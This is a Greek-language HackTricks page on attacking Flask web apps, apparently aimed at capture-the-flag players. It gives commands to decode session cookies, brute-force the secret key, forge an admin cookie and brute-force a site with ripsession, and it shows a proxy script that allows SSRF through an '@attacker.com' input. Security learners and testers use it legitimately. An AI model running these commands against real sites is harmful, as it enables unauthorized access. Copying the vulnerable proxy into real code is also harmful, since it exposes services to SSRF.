Flask

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.

Cookies

Το προεπιλεγμένο όνομα συνεδρίας cookie είναι session.

Decoder

Online αποκωδικοποιητής cookies Flask: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Πάρτε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το σε Base64.

bash
echo "ImhlbGxvIg" | base64 -d

Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης

Flask-Unsign

Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.

Client Challenge

bash
pip3 install flask-unsign
bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Υπογραφή

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval για να υπογράψει αυτόματα τα payloads του sqlmap για το flask χρησιμοποιώντας ένα γνωστό μυστικό.

Proxy Flask σε SSRF

Σε αυτή την αναφορά εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Ποιο από τα παρακάτω σενάρια:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως "@attacker.com" προκειμένου να προκαλέσει ένα SSRF.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks